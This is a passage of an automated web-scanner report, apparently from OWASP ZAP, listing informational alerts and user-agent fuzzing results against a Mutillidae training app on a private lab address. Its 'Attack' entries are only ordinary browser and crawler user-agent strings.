URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET

Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=php-errors.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=redirectandlog.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=rene-magritte.php
Method	GET
Attack	
Evidence	<script type="text/javascript"> /* ---------- * ANTI-CLICK-JACKING * ---------- */ /* JavaScript framebuster anti-clickjacking defense * for browsers older than IE 8 or Firefox 3.6 */ //if (top.frames.length!=0)top.location=self. document.location; </script>
URL	http://192.168.0.9/mutillidae/index.php?page=secret-administrative-pages.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=show-log.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=site-footer-xss-discussion.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php

Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=usage-instructions.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=user-poll.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/phpMyAdmin/
Method	GET
Attack	
Evidence	<noscript> <fieldset class="tblFooters"><input type="hidden" name="phpMyAdmin" value="b904bbabfe0f4f143a33b6eb2d5a27eaf7923c6d" /> <input type="submit" value="Go" /> </fieldset> </noscript>
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	
Evidence	Core Controls

URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	POST
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	POST
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	
Evidence	Core Controls
Instances	68
Solution	This is an informational alert and so no changes are required.
Reference	
CWE Id	
WASC Id	
Plugin Id	10109

Informational	**User Agent Fuzzer**
Description	Check for differences in response based on fuzzed User Agent (eg. mobile sites, access as a Search Engine Crawler). Compares the response statuscode and the hashcode of the response body with the original response.

URL	http://192.168.0.9/mutillidae
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae
Method	GET
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae
Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae
Method	GET
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4

Evidence	
URL	http://192.168.0.9/mutillidae
Method	GET
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae
Method	GET
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/
Method	GET

Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/?page=register.php
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/?page=register.php
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/?page=register.php
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/?page=register.php
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/?page=register.php
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/?page=register.php

Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/?page=register.php
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/?page=register.php
Method	GET
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/?page=register.php
Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/?page=register.php
Method	GET
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/?page=register.php
Method	GET
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/?page=register.php
Method	GET
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/documentation
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/documentation
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/documentation
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	

URL	http://192.168.0.9/mutillidae/documentation
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/documentation
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/documentation
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/documentation
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/documentation
Method	GET
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/documentation
Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/documentation
Method	GET
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/documentation
Method	GET
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/documentation
Method	GET
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/images
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Evidence	
URL	http://192.168.0.9/mutillidae/images
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/images
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/images
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/images
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/images
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/images
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/images
Method	GET
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/images
Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/images
Method	GET
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/images
Method	GET

Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/images
Method	GET
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/index.php
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/index.php
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php
Method	GET
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php

Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php
Method	GET
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/index.php
Method	GET
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/index.php
Method	GET
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote

Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=home.php
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=home.php
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=home.php

Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=home.php
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=home.php
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=home.php
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=home.php
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=home.php
Method	GET
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=home.php
Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=home.php
Method	GET
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=home.php
Method	GET
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=home.php
Method	GET
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	

URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)

Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=page-not-found.php
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=page-not-found.php
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=page-not-found.php
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=page-not-found.php
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=page-not-found.php
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=page-not-found.php
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	

URL	http://192.168.0.9/mutillidae/index.php?page=page-not-found.php
Method	GET
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=page-not-found.php
Method	GET
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=page-not-found.php
Method	GET
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=page-not-found.php
Method	GET
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=page-not-found.php
Method	GET
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=page-not-found.php
Method	GET
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET

Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
